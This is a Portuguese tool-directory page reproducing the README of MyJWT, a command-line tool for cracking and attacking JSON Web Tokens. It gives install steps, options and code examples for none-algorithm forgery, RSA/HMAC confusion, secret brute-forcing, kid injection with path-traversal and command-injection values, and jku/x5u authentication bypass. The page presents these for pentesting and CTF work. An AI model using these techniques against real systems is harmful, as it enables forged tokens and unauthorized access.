Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
MyJWT — Uma CLI para quebra e teste de vulnerabilidades em JSON Web Token (JWT) | Kitploit
Ferramentas/GitHubGitHub/tyki6/myjwt
Quebra de SenhasAnálise de VulnerabilidadesSegurança WebTestes de Penetração
GitHubtyki6/myjwt

MyJWT

Uma CLI para quebra e teste de vulnerabilidades em JSON Web Token (JWT)

Ver Repositório
13819há 10 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

MyJWT

mBouamama PyPI BlackArch package PyPI - Python Version PyPI - Download GitHub release (latest by date) Documentation Status Rawsec's CyberSecurity Inventory Code style: black codecov docstr_coverage codebeat badge Updates Known Vulnerabilities

Introdução

Esta cli é para pentesters, jogadores de CTF ou desenvolvedores.
Você pode modificar seu jwt, assinar, injetar, etc...
Verifique a Documentação para mais informações.
Se você encontrar problemas ou melhorias, envie uma issue. Responderei o mais rápido possível. Aproveite :)

Documentação

Documentação disponível em http://myjwt.readthedocs.io

Índice

  • Funcionalidades
  • Instalação
  • Uso
  • Exemplos
  • Download
  • Contribuir
  • Registro de Alterações

Funcionalidades

  • copiar novo jwt para a área de transferência
  • Interface de Usuário (obrigado questionary)
  • saída colorida
  • modificar jwt (cabeçalho/payload)
  • Vulnerabilidade None
  • Confusão RSA/HMAC
  • Assinar um jwt com chave
  • Força Bruta para adivinhar a chave
  • quebrar jwt com regex para adivinhar a chave
  • injeção kid
  • Contorno Jku
  • Contorno X5u

Instalação

Para instalar myjwt, use simplesmente o pip:

root@kitploit:~
pip install myjwt

Para executar myjwt a partir de uma imagem docker, execute:

root@kitploit:~
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

# montar volume para wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# No Windows
docker run -v %CD%/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

Para instalar myjwt a partir do git:

root@kitploit:~
git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help

Para instalar myjwt no BlackArch:

root@kitploit:~
pacman -S myjwt

Packaging status

Uso

root@kitploit:~
$ myjwt --help
Uso: myjwt [OPÇÕES] JWT

  Esta cli é para pentesters, jogadores de CTF ou desenvolvedores.
  Você pode modificar seu jwt, assinar, injetar, etc...
  Documentação completa em http://myjwt.readthedocs.io.
  Se você encontrar problemas ou melhorias, envie uma issue. Responderei o mais rápido possível.
  Aproveite :)
  Todos os novos jwt serão copiados para a área de transferência.

Opções:
  --version                    Mostra a versão e sai.
  --full-payload TEXTO          Novo payload para seu jwt. Formato Json obrigatório.
  -h, --add-header TEXTO        Adiciona uma nova chave, valor ao cabeçalho do seu jwt; se a chave já existir, o valor antigo será substituído. Formato: chave=valor.
  -p, --add-payload TEXTO       Adiciona uma nova chave, valor ao payload do seu jwt; se a chave já existir, o valor antigo será substituído. Formato: chave=valor.
  --sign TEXTO                  Assine seu jwt com a chave fornecida.
  --verify TEXTO                Verifique sua chave.
  -none, --none-vulnerability   Verifica vulnerabilidade None Alg.
  --hmac CAMINHO                Verifica vulnerabilidade Alg RS/HMAC e assina seu jwt com chave pública.
  --bruteforce CAMINHO          Força bruta para adivinhar o segredo usado para assinar o token.
  -r, --crack TEXTO             regex para iterar todas as possibilidades de string para adivinhar o segredo usado para assinar o token.
  --kid TEXTO                   Injeção SQL Kid
  --jku TEXTO                   Cabeçalho Jku para contornar autenticação
  --x5u TEXTO                   Cabeçalho X5u para contornar autenticação
  --crt CAMINHO                 Para x5cHeader, forçar arquivo crt
  --key CAMINHO                 Para cabeçalhos jku ou x5c, forçar chave privada para seu arquivo de chave
  --file TEXTO                  Para cabeçalho jku, forçar nome do arquivo sem extensão .json
  --print                       Exibe JWT decodificado
  -u, --url URL                 URL para enviar seu jwt.
  -m, --method TEXTO            Método usado para enviar requisição para a URL. (Padrão GET).
  -d, --data TEXTO              Dados enviados para sua URL. Formato: chave=valor. Se valor = MY_JWT, o valor será substituído pelo novo jwt.
  -c, --cookies TEXTO           Cookies para enviar para sua URL. Formato: chave=valor. Se valor = MY_JWT, o valor será substituído pelo novo jwt.
  --help                        Mostra esta mensagem de ajuda e sai.

Modificar JWT

Verifique Seu JWT (alg HS)

OpçãoTipoExemploajuda
--signtextomysecretkeyAssine seu jwt com sua chave
--verifytextomysecretkeyVerifique sua chave.

Explorar

Enviar seu jwt

Outros

Exemplos

  • Modifique seu Jwt
  • Verificação de Vulnerabilidade None
  • Chave de Assinatura
  • Força Bruta de Assinatura
  • Confusão RSA/HMAC
  • Injeção Kid
  • Envie seu novo Jwt para URL
  • Vulnerabilidade Jku
  • Vulnerabilidade X5u

Modifique seu Jwt

CLI

root@kitploit:~
myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"

Código

root@kitploit:~
from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt

jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]

Exemplo completo aqui: 01-modify-jwt

Verificação de Vulnerabilidade None

CLI

root@kitploit:~
myjwt YOUR_JWT --none-vulnerability

CÓDIGO

root@kitploit:~
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])

Exemplo completo aqui: 02-none-vulnerability

Chave de Assinatura

CLI

root@kitploit:~
myjwt YOUR_JWT --sign YOUR_KEY

CÓDIGO

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)

Exemplo completo aqui: 03-sign-key

Força Bruta de Assinatura

CLI

root@kitploit:~
myjwt YOUR_JWT --bruteforce PATH

CÓDIGO

root@kitploit:~
from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)

Exemplo completo aqui: 04-brute-force

Quebrar

CLI

root@kitploit:~
myjwt YOUR_JWT --crack REGEX

Confusão RSA/HMAC

CLI

root@kitploit:~
myjwt YOUR_JWT --hmac FILE

CÓDIGO

root@kitploit:~
from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)

Exemplo completo aqui: 05-rsa-hmac-confusion

Injeção Kid

CLI

root@kitploit:~
myjwt YOUR_JWT --kid INJECTION

Código

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid

injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)

Exemplo completo aqui: 06-kid-injection

Envie seu novo Jwt para URL

CLI

root@kitploit:~
myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"

Vulnerabilidade Jku

CLI

root@kitploit:~
myjwt YOUR_JWT --jku YOUR_URL

Código

root@kitploit:~
from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

Exemplo completo aqui: 07-jku-bypass

Vulnerabilidade X5u

CLI

root@kitploit:~
myjwt YOUR_JWT --x5u YOUR_URL

Código

root@kitploit:~
from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

Exemplo completo aqui: 08-x5u-bypass

Download

Verifique as releases do GitHub. A mais recente está disponível em https://github.com/mBouamama/MyJWT/releases/latest

Contribuir

  • Faça um fork deste repositório ou clone-o
  • Crie um novo branch (feature, hotfix, etc...)
  • Faça as alterações necessárias e commit essas alterações
  • Verifique lint com make lint
  • Verifique testes unitários com make test
  • Envie um Pull Request Verificarei o mais rápido possível.

Registro de Alterações

O registro ficou bastante extenso. Foi movido para seu próprio arquivo.

Veja CHANGES.

Baixar ferramenta
OpçãoTipoExemploajuda
--ful-payloadJSON{"user": "admin"}Novo payload para seu jwt.
-h, --add-headerchave=valoruser=adminAdiciona uma nova chave, valor ao cabeçalho do seu jwt; se a chave já existir, o valor antigo será substituído.
-p, --add-payloadchave=valoruser=adminAdiciona uma nova chave, valor ao payload do seu jwt; se a chave já existir, o valor antigo será substituído.
OpçãoTipoExemploajuda
-none, --none-vulnerabilityNadaVerifica vulnerabilidade None Alg.
--hmacCAMINHO./public.pemVerifica vulnerabilidade Alg RS/HMAC e assina seu jwt com chave pública.
--bruteforceCAMINHO./wordlist/big.txtForça bruta para adivinhar o segredo usado para assinar o token. Use arquivo txt com todas as senhas armazenadas (1 por linha)
--crackREGEX"[a-z]{4}"regex para iterar todas as possibilidades de string para adivinhar o segredo usado para assinar o token.
--kidtexto"00; echo /etc/.passwd"Injeção SQL Kid
--jkutextoMEUIP_PUBLICOCabeçalho Jku para contornar autenticação; use --file se quiser alterar o nome do arquivo jwks, e --key se quiser usar seu próprio pem privado.
--x5utextoMEUIP_PUBLICOCabeçalho X5u para contornar autenticação; use --file se quiser alterar o nome do arquivo jwks, e --key se quiser usar seu próprio pem privado.
OpçãoTipoExemploajuda
-u, --urlURLhttp://challenge01.root-me.org/web-serveur/ch59/adminURL para enviar seu jwt.
-m, --methodtextoPOSTMétodo usado para enviar requisição para a URL. (Padrão: GET).
-d, --datachave=valorsecret=MY_JWTDados enviados para sua URL. Formato: chave=valor. Se valor = MY_JWT, o valor será substituído pelo seu novo jwt.
-c, --cookieschave=valorsecret=MY_JWTCookies para enviar para sua URL. Formato: chave=valor. Se valor = MY_JWT, o valor será substituído pelo seu novo jwt.
OpçãoTipoExemploajuda
--crtCAMINHO./public.crtPara x5cHeader, forçar arquivo crt
--keyCAMINHO./private.pemPara cabeçalhos jku ou x5c, forçar chave privada para seu arquivo de chave
--filetextomyfilePara cabeçalho jku, forçar nome do arquivo sem extensão .json
--printNadaExibe JWT decodificado
--helpNadaMostra mensagem de ajuda e sai.
--versionNadaMostra a versão do Myjwt